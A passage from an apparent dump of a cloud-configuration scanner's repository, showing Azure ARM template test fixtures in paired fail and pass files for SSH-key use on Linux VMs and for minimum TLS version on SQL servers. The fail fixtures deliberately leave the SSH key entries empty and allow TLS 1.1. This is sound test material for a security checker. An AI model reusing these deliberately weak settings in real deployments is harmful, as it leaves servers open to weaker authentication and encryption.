\"allowedValues\": [\n        \"Standard\",\n        \"Premium\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether the key vault is a standard vault or a premium vault.\"\n      }\n    },\n    \"secretName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the name of the secret that you want to create.\"\n      }\n    },\n    \"secretValue\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Specifies the value of the secret that you want to create.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"name\": \"[parameters('keyVaultName')]\",\n      \"apiVersion\": \"2018-02-14\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"enabledForDeployment\": \"[parameters('enabledForDeployment')]\",\n        \"enabledForDiskEncryption\": \"[parameters('enabledForDiskEncryption')]\",\n        \"enabledForTemplateDeployment\": \"[parameters('enabledForTemplateDeployment')]\",\n        \"tenantId\": \"[parameters('tenantId')]\",\n        \"accessPolicies\": [\n          {\n            \"objectId\": \"[parameters('objectId')]\",\n            \"tenantId\": \"[parameters('tenantId')]\",\n            \"permissions\": {\n              \"keys\": \"[parameters('keysPermissions')]\",\n              \"secrets\": \"[parameters('secretsPermissions')]\"\n            }\n          }\n        ],\n        \"sku\": {\n          \"name\": \"[parameters('skuName')]\",\n          \"family\": \"A\"\n        },\n        \"networkAcls\": {\n          \"defaultAction\": \"Allow\",\n          \"bypass\": \"AzureServices\"\n        },\n        \"enableSoftDelete\": \"true\",\n        \"softDeleteRetentionInDays\": \"30\",\n        \"enablePurgeProtection\": \"true\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.KeyVault/vaults/secrets\",\n      \"name\": \"[concat(parameters('keyVaultName'), '/', parameters('secretName'))]\",\n      \"apiVersion\": \"2018-02-14\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]\"\n      ],\n      \"properties\": {\n        \"value\": \"[parameters('secretValue')]\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_LinuxVMUsesSSH/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azureuser\",\n      \"metadata\": {\n        \"description\": \"User name for the Virtual Machine.\"\n      }\n    },\n    \"sshKeyData\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"SSH rsa public key file as a string.\"\n      }\n    },\n    \"vmName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"multinicvm\",\n      \"metadata\": {\n        \"description\": \"Name of the VM\"\n      }\n    },\n    \"vmSize\": {\n      \"defaultValue\": \"Standard_D2_v3\",\n      \"metadata\": {\n        \"description\": \"Size of the VM\"\n      },\n      \"type\": \"string\"\n    },\n    \"ubuntuOSVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"18.04-LTS\",\n      \"allowedValues\": [\n        \"12.04.5-LTS\",\n        \"14.04.4-LTS\",\n        \"15.10\",\n        \"18.04-LTS\"\n      ],\n      \"metadata\": {\n        \"description\": \"The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version. Allowed values: 12.04.5-LTS, 14.04.4-LTS, 15.10, 18.04-LTS.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"description\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[concat(uniquestring(resourceGroup().id), 'samultinic')]\",\n    \"storageAccountType\": \"Standard_LRS\",\n    \"imagePublisher\": \"Canonical\",\n    \"imageOffer\": \"UbuntuServer\",\n    \"sshKeyPath\": \"[concat('/home/',parameters('adminUsername'),'/.ssh/authorized_keys')]\",\n    \"nic1Name\": \"nic1\",\n    \"nic2Name\": \"nic2\",\n    \"vnetName\": \"vnet\",\n    \"vnetId\": \"[resourceId('Microsoft.Network/virtualNetworks', variables('vnetName'))]\",\n    \"addressPrefix\": \"10.0.0.0/16\",\n    \"subnet1Name\": \"Frontend\",\n    \"subnet1Id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('vnetName'), variables('subnet1Name'))]\",\n    \"subnet1Prefix\": \"10.0.1.0/24\",\n    \"subnet1PrivateAddress\": \"10.0.1.5\",\n    \"subnet2Name\": \"Web\",\n    \"subnet2Id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('vnetName'), variables('subnet2Name'))]\",\n    \"subnet2Prefix\": \"10.0.2.0/24\",\n    \"subnet2PrivateAddress\": \"10.0.2.5\",\n    \"publicIPAddressName\": \"[concat(uniquestring(resourceGroup().id), 'PublicIp')]\",\n    \"publicIPAddressType\": \"Dynamic\",\n    \"publicIPAddressId\": \"[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIPAddressName'))]\",\n    \"networkSecurityGroupName\": \"default-NSG\"\n  },\n  \"resources\": [\n\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2020-06-01\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))]\",\n        \"[resourceId('Microsoft.Network/networkInterfaces/', variables('nic1Name'))]\",\n        \"[resourceId('Microsoft.Network/networkInterfaces/', variables('nic2Name'))]\"\n      ],\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"fail\",\n      \"properties\": {\n        \"diagnosticsProfile\": {\n          \"bootDiagnostics\": {\n            \"enabled\": true,\n            \"storageUri\": \"[reference(resourceId('Microsoft.Storage/storageAccounts/', variables('storageAccountName')), '2019-06-01').primaryEndpoints.blob]\"\n          }\n        },\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('vmSize')]\"\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('nic1Name'))]\",\n              \"properties\": {\n                \"primary\": true\n              }\n            },\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('nic2Name'))]\",\n              \"properties\": {\n                \"primary\": false\n              }\n            }\n          ]\n        },\n        \"osProfile\": {\n          \"computerName\": \"[parameters('vmName')]\",\n          \"adminUsername\": \"[parameters('adminUsername')]\",\n          \"linuxConfiguration\": {\n            \"disablePasswordAuthentication\": true,\n            \"ssh\": {\n              \"publicKeys\": [\n                {\n\n                }\n              ]\n            }\n          }\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"[variables('imagePublisher')]\",\n            \"offer\": \"[variables('imageOffer')]\",\n            \"sku\": \"[parameters('ubuntuOSVersion')]\",\n            \"version\": \"latest\"\n          },\n          \"osDisk\": {\n            \"createOption\": \"FromImage\"\n          }\n        }\n      }\n    },\n        {\n      \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n      \"name\": \"fail\",\n      \"location\": \"[parameters('location')]\",\n      \"apiVersion\": \"2019-12-01\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/loadBalancers', variables('loadBalancerName'))]\"\n      ],\n      \"sku\": {\n        \"name\": \"[parameters('vmSku')]\",\n        \"capacity\": \"[parameters('instanceCount')]\"\n      },\n      \"properties\": {\n        \"overprovision\": true,\n        \"upgradePolicy\": {\n          \"mode\": \"Manual\"\n        },\n        \"virtualMachineProfile\": {\n          \"storageProfile\": {\n            \"osDisk\": {\n              \"createOption\": \"FromImage\",\n              \"caching\": \"ReadWrite\"\n            },\n            \"imageReference\": {\n              \"publisher\": \"Canonical\",\n              \"offer\": \"UbuntuServer\",\n              \"sku\": \"16.04-LTS\",\n              \"version\": \"latest\"\n            }\n          },\n          \"osProfile\": {\n            \"computerNamePrefix\": \"[parameters('vmssName')]\",\n            \"adminUsername\": \"[parameters('adminUsername')]\",\n            \"adminPassword\": \"[parameters('adminPasswordOrKey')]\",\n            \"linuxConfiguration\": {\n            \"disablePasswordAuthentication\": true,\n            \"ssh\": {\n              \"publicKeys\": [\n                {\n\n                }\n              ]\n            }\n          }\n          },\n          \"networkProfile\": {\n            \"networkInterfaceConfigurations\": [\n              {\n                \"name\": \"nic\",\n                \"properties\": {\n                  \"primary\": true,\n                  \"ipConfigurations\": [\n                    {\n                      \"name\": \"ipconfig\",\n                      \"properties\": {\n                        \"subnet\": {\n                          \"id\": \"[resourceId(parameters('existingVnetResourceGroupName'), 'Microsoft.Network/virtualNetworks/subnets', parameters('existingVnetName'), parameters('existingSubNetName'))]\"\n                        },\n                        \"loadBalancerBackendAddressPools\": [\n                          {\n                            \"id\": \"[resourceId('Microsoft.Network/loadBalancers/backendAddressPools', variables('loadBalancerName'), variables('loadBalancerBackEndName'))]\"\n                          }\n                        ],\n                        \"loadBalancerInboundNatPools\": [\n                          {\n                            \"id\": \"[resourceId('Microsoft.Network/loadBalancers/inboundNatPools', variables('loadBalancerName'), variables('loadBalancerNatPoolName'))]\"\n                          }\n                        ]\n                      }\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"sshCommand\": {\n      \"type\": \"string\",\n      \"value\": \"[concat('ssh ', parameters('adminUsername'), '@', parameters('vmName'), '.', parameters('location'), '.cloudapp.azure.com')]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_LinuxVMUsesSSH/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azureuser\",\n      \"metadata\": {\n        \"description\": \"User name for the Virtual Machine.\"\n      }\n    },\n    \"sshKeyData\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"SSH rsa public key file as a string.\"\n      }\n    },\n    \"vmName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"multinicvm\",\n      \"metadata\": {\n        \"description\": \"Name of the VM\"\n      }\n    },\n    \"vmSize\": {\n      \"defaultValue\": \"Standard_D2_v3\",\n      \"metadata\": {\n        \"description\": \"Size of the VM\"\n      },\n      \"type\": \"string\"\n    },\n    \"ubuntuOSVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"18.04-LTS\",\n      \"allowedValues\": [\n        \"12.04.5-LTS\",\n        \"14.04.4-LTS\",\n        \"15.10\",\n        \"18.04-LTS\"\n      ],\n      \"metadata\": {\n        \"description\": \"The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version. Allowed values: 12.04.5-LTS, 14.04.4-LTS, 15.10, 18.04-LTS.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"description\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[concat(uniquestring(resourceGroup().id), 'samultinic')]\",\n    \"storageAccountType\": \"Standard_LRS\",\n    \"imagePublisher\": \"Canonical\",\n    \"imageOffer\": \"UbuntuServer\",\n    \"sshKeyPath\": \"[concat('/home/',parameters('adminUsername'),'/.ssh/authorized_keys')]\",\n    \"nic1Name\": \"nic1\",\n    \"nic2Name\": \"nic2\",\n    \"vnetName\": \"vnet\",\n    \"vnetId\": \"[resourceId('Microsoft.Network/virtualNetworks', variables('vnetName'))]\",\n    \"addressPrefix\": \"10.0.0.0/16\",\n    \"subnet1Name\": \"Frontend\",\n    \"subnet1Id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('vnetName'), variables('subnet1Name'))]\",\n    \"subnet1Prefix\": \"10.0.1.0/24\",\n    \"subnet1PrivateAddress\": \"10.0.1.5\",\n    \"subnet2Name\": \"Web\",\n    \"subnet2Id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('vnetName'), variables('subnet2Name'))]\",\n    \"subnet2Prefix\": \"10.0.2.0/24\",\n    \"subnet2PrivateAddress\": \"10.0.2.5\",\n    \"publicIPAddressName\": \"[concat(uniquestring(resourceGroup().id), 'PublicIp')]\",\n    \"publicIPAddressType\": \"Dynamic\",\n    \"publicIPAddressId\": \"[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIPAddressName'))]\",\n    \"networkSecurityGroupName\": \"default-NSG\"\n  },\n  \"resources\": [\n\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2020-06-01\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))]\",\n        \"[resourceId('Microsoft.Network/networkInterfaces/', variables('nic1Name'))]\",\n        \"[resourceId('Microsoft.Network/networkInterfaces/', variables('nic2Name'))]\"\n      ],\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"pass\",\n      \"properties\": {\n        \"diagnosticsProfile\": {\n          \"bootDiagnostics\": {\n            \"enabled\": true,\n            \"storageUri\": \"[reference(resourceId('Microsoft.Storage/storageAccounts/', variables('storageAccountName')), '2019-06-01').primaryEndpoints.blob]\"\n          }\n        },\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('vmSize')]\"\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('nic1Name'))]\",\n              \"properties\": {\n                \"primary\": true\n              }\n            },\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('nic2Name'))]\",\n              \"properties\": {\n                \"primary\": false\n              }\n            }\n          ]\n        },\n        \"osProfile\": {\n          \"computerName\": \"[parameters('vmName')]\",\n          \"adminUsername\": \"[parameters('adminUsername')]\",\n          \"linuxConfiguration\": {\n            \"disablePasswordAuthentication\": true,\n            \"ssh\": {\n              \"publicKeys\": [\n                {\n                  \"path\": \"/.ssh/authorized_keys\",\n                  \"keyData\": \"[parameters('sshKeyData')]\"\n                }\n              ]\n            }\n          }\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"[variables('imagePublisher')]\",\n            \"offer\": \"[variables('imageOffer')]\",\n            \"sku\": \"[parameters('ubuntuOSVersion')]\",\n            \"version\": \"latest\"\n          },\n          \"osDisk\": {\n            \"createOption\": \"FromImage\"\n          }\n        }\n      }\n    },\n        {\n      \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n      \"name\": \"pass\",\n      \"location\": \"[parameters('location')]\",\n      \"apiVersion\": \"2019-12-01\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/loadBalancers', variables('loadBalancerName'))]\"\n      ],\n      \"sku\": {\n        \"name\": \"[parameters('vmSku')]\",\n        \"capacity\": \"[parameters('instanceCount')]\"\n      },\n      \"properties\": {\n        \"overprovision\": true,\n        \"upgradePolicy\": {\n          \"mode\": \"Manual\"\n        },\n        \"virtualMachineProfile\": {\n          \"storageProfile\": {\n            \"osDisk\": {\n              \"createOption\": \"FromImage\",\n              \"caching\": \"ReadWrite\"\n            },\n            \"imageReference\": {\n              \"publisher\": \"Canonical\",\n              \"offer\": \"UbuntuServer\",\n              \"sku\": \"16.04-LTS\",\n              \"version\": \"latest\"\n            }\n          },\n          \"osProfile\": {\n            \"computerNamePrefix\": \"[parameters('vmssName')]\",\n            \"adminUsername\": \"[parameters('adminUsername')]\",\n            \"adminPassword\": \"[parameters('adminPasswordOrKey')]\",\n            \"linuxConfiguration\": {\n            \"disablePasswordAuthentication\": true,\n            \"ssh\": {\n              \"publicKeys\": [\n                {\n                  \"path\": \"/.ssh/authorized_keys\",\n                  \"keyData\": \"[parameters('sshKeyData')]\"\n                }\n              ]\n            }\n          }\n          },\n          \"networkProfile\": {\n            \"networkInterfaceConfigurations\": [\n              {\n                \"name\": \"nic\",\n                \"properties\": {\n                  \"primary\": true,\n                  \"ipConfigurations\": [\n                    {\n                      \"name\": \"ipconfig\",\n                      \"properties\": {\n                        \"subnet\": {\n                          \"id\": \"[resourceId(parameters('existingVnetResourceGroupName'), 'Microsoft.Network/virtualNetworks/subnets', parameters('existingVnetName'), parameters('existingSubNetName'))]\"\n                        },\n                        \"loadBalancerBackendAddressPools\": [\n                          {\n                            \"id\": \"[resourceId('Microsoft.Network/loadBalancers/backendAddressPools', variables('loadBalancerName'), variables('loadBalancerBackEndName'))]\"\n                          }\n                        ],\n                        \"loadBalancerInboundNatPools\": [\n                          {\n                            \"id\": \"[resourceId('Microsoft.Network/loadBalancers/inboundNatPools', variables('loadBalancerName'), variables('loadBalancerNatPoolName'))]\"\n                          }\n                        ]\n                      }\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"sshCommand\": {\n      \"type\": \"string\",\n      \"value\": \"[concat('ssh ', parameters('adminUsername'), '@', parameters('vmName'), '.', parameters('location'), '.cloudapp.azure.com')]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_MSSQLServerMinTLSVersion/fail.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"apiVersion\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"2021-05-01\"\n        },\n        \"administratorLogin\": {\n            \"type\": \"string\"\n        },\n        \"administratorLoginPassword\": {\n            \"type\": \"securestring\"\n        },\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"serverName\": {\n            \"type\": \"string\"\n        },\n        \"serverEdition\": {\n            \"type\": \"string\"\n        },\n        \"vCores\": {\n            \"type\": \"int\",\n            \"defaultValue\": 4\n        },\n        \"storageSizeGB\": {\n            \"type\": \"int\"\n        },\n        \"haEnabled\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Disabled\"\n        },\n        \"availabilityZone\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"\"\n        },\n        \"standbyAvailabilityZone\": {\n            \"type\": \"string\"\n        },\n        \"version\": {\n            \"type\": \"string\"\n        },\n        \"tags\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"firewallRules\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"backupRetentionDays\": {\n            \"type\": \"int\"\n        },\n        \"geoRedundantBackup\": {\n            \"type\": \"string\"\n        },\n        \"vmName\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Standard_B1ms\"\n        },\n        \"storageIops\": {\n            \"type\": \"int\"\n        },\n        \"storageAutogrow\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Enabled\"\n        },\n        \"autoIoScaling\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Disabled\"\n        },\n        \"identityData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"dataEncryptionData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"serverParameters\": {\n            \"type\": \"array\",\n            \"defaultValue\": []\n        },\n        \"aadEnabled\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false\n        },\n        \"aadData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"guid\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[newGuid()]\"\n        },\n        \"network\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"firewallRulesAPIVersion\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"2022-01-01\"\n        }\n    },\n    \"variables\": {\n        \"api\": \"[parameters('apiVersion')]\",\n        \"firewallRules\": \"[parameters('firewallRules').rules]\",\n        \"serverParameters\": \"[parameters('serverParameters')]\"\n    },\n    \"resources\": [\n        {\n              \"type\": \"Microsoft.Sql/servers\",\n              \"apiVersion\": \"2023-05-01-preview\",\n              \"name\": \"fail\",\n              \"location\": \"string\",\n              \"tags\": {\n                \"tagName1\": \"tagValue1\",\n                \"tagName2\": \"tagValue2\"\n              },\n              \"identity\": {\n                \"type\": \"string\",\n                \"userAssignedIdentities\": {\n                  \"{customized property}\": {}\n                }\n              },\n              \"properties\": {\n                \"administratorLogin\": \"string\",\n                \"administratorLoginPassword\": \"string\",\n                \"administrators\": {\n                  \"administratorType\": \"ActiveDirectory\",\n                  \"azureADOnlyAuthentication\": \"bool\",\n                  \"login\": \"string\",\n                  \"principalType\": \"string\",\n                  \"sid\": \"string\",\n                  \"tenantId\": \"string\"\n                },\n                \"federatedClientId\": \"string\",\n                \"isIPv6Enabled\": \"string\",\n                \"keyId\": \"string\",\n                \"minimalTlsVersion\": \"1.1\",\n                \"primaryUserAssignedIdentityId\": \"string\",\n                \"publicNetworkAccess\": \"string\",\n                \"restrictOutboundNetworkAccess\": \"string\",\n                \"version\": \"string\"\n              }\n            },\n        {\n            \"condition\": \"[greater(length(variables('firewallRules')), 0)]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"name\": \"[concat('firewallRules-', parameters('guid'), '-', copyIndex())]\",\n            \"copy\": {\n                \"count\": \"[if(greater(length(variables('firewallRules')), 0), length(variables('firewallRules')), 1)]\",\n                \"mode\": \"Serial\",\n                \"name\": \"firewallRulesIterator\"\n            },\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\",\n                \"[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]\"\n            ],\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/firewallRules\",\n                            \"name\": \"[concat(parameters('serverName'),'/',variables('firewallRules')[copyIndex()].name)]\",\n                            \"apiVersion\": \"[parameters('firewallRulesAPIVersion')]\",\n                            \"properties\": {\n                                \"StartIpAddress\": \"[variables('firewallRules')[copyIndex()].startIPAddress]\",\n                                \"EndIpAddress\": \"[variables('firewallRules')[copyIndex()].endIPAddress]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[parameters('aadEnabled')]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"name\": \"[concat('addAdmins-', parameters('guid'))]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\"\n            ],\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/administrators\",\n                            \"name\": \"[concat(parameters('serverName'),'/ActiveDirectory')]\",\n                            \"apiVersion\": \"[variables('api')]\",\n                            \"properties\": {\n                                \"administratorType\": \"[parameters('aadData').administratorType]\",\n                                \"identityResourceId\": \"[parameters('aadData').identityResourceId]\",\n                                \"login\": \"[parameters('aadData').login]\",\n                                \"sid\": \"[parameters('aadData').sid]\",\n                                \"tenantId\": \"[parameters('aadData').tenantId]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[and(greater(length(variables('serverParameters')), 0), parameters('aadEnabled'))]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"copy\": {\n                \"count\": \"[if(greater(length(variables('serverParameters')), 0), length(variables('serverParameters')), 1)]\",\n                \"mode\": \"serial\",\n                \"name\": \"serverParametersIterator\"\n            },\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\",\n                \"[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]\"\n            ],\n            \"name\": \"[concat('serverParameters-', copyIndex(), '-', parameters('guid'))]\",\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/configurations\",\n                            \"name\": \"[concat(parameters('serverName'),'/',variables('serverParameters')[copyIndex()].name)]\",\n                            \"apiVersion\": \"[variables('api')]\",\n                            \"properties\": {\n                                \"value\": \"[variables('serverParameters')[copyIndex()].value]\",\n                                \"source\": \"[variables('serverParameters')[copyIndex()].source]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        }\n    ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_MSSQLServerMinTLSVersion/pass.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"apiVersion\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"2021-05-01\"\n        },\n        \"administratorLogin\": {\n            \"type\": \"string\"\n        },\n        \"administratorLoginPassword\": {\n            \"type\": \"securestring\"\n        },\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"serverName\": {\n            \"type\": \"string\"\n        },\n        \"serverEdition\": {\n            \"type\": \"string\"\n        },\n        \"vCores\": {\n            \"type\": \"int\",\n            \"defaultValue\": 4\n        },\n        \"storageSizeGB\": {\n            \"type\": \"int\"\n        },\n        \"haEnabled\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Disabled\"\n        },\n        \"availabilityZone\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"\"\n        },\n        \"standbyAvailabilityZone\": {\n            \"type\": \"string\"\n        },\n        \"version\": {\n            \"type\": \"string\"\n        },\n        \"tags\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"firewallRules\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"backupRetentionDays\": {\n            \"type\": \"int\"\n        },\n        \"geoRedundantBackup\": {\n            \"type\": \"string\"\n        },\n        \"vmName\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Standard_B1ms\"\n        },\n        \"storageIops\": {\n            \"type\": \"int\"\n        },\n        \"storageAutogrow\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Enabled\"\n        },\n        \"autoIoScaling\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Disabled\"\n        },\n        \"identityData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"dataEncryptionData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"serverParameters\": {\n            \"type\": \"array\",\n            \"defaultValue\": []\n        },\n        \"aadEnabled\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false\n        },\n        \"aadData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"guid\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[newGuid()]\"\n        },\n        \"network\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"firewallRulesAPIVersion\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"2022-01-01\"\n        }\n    },\n    \"variables\": {\n        \"api\": \"[parameters('apiVersion')]\",\n        \"firewallRules\": \"[parameters('firewallRules').rules]\",\n        \"serverParameters\": \"[parameters('serverParameters')]\"\n    },\n    \"resources\": [\n        {\n              \"type\": \"Microsoft.Sql/servers\",\n              \"apiVersion\": \"2023-05-01-preview\",\n              \"name\": \"pass\",\n              \"location\": \"string\",\n              \"tags\": {\n                \"tagName1\": \"tagValue1\",\n                \"tagName2\": \"tagValue2\"\n              },\n              \"identity\": {\n                \"type\": \"string\",\n                \"userAssignedIdentities\": {\n                  \"{customized property}\": {}\n                }\n              },\n              \"properties\": {\n                \"administratorLogin\": \"string\",\n                \"administratorLoginPassword\": \"string\",\n                \"administrators\": {\n                  \"administratorType\": \"ActiveDirectory\",\n                  \"azureADOnlyAuthentication\": \"bool\",\n                  \"login\": \"string\",\n                  \"principalType\": \"string\",\n                  \"sid\": \"string\",\n                  \"tenantId\": \"string\"\n                },\n                \"federatedClientId\": \"string\",\n                \"isIPv6Enabled\": \"string\",\n                \"keyId\": \"string\",\n                \"minimalTlsVersion\": \"1.2\",\n                \"primaryUserAssignedIdentityId\": \"string\",\n                \"publicNetworkAccess\": \"string\",\n                \"restrictOutboundNetworkAccess\": \"string\",\n                \"version\": \"string\"\n              }\n            },\n        {\n            \"condition\": \"[greater(length(variables('firewallRules')), 0)]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"name\": \"[concat('firewallRules-', parameters('guid'), '-', copyIndex())]\",\n            \"copy\": {\n                \"count\": \"[if(greater(length(variables('firewallRules')), 0), length(variables('firewallRules')), 1)]\",\n                \"mode\": \"Serial\",\n                \"name\": \"firewallRulesIterator\"\n            },\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\",\n                \"[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]\"\n            ],\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/firewallRules\",\n                            \"name\": \"[concat(parameters('serverName'),'/',variables('firewallRules')[copyIndex()].name)]\",\n                            \"apiVersion\": 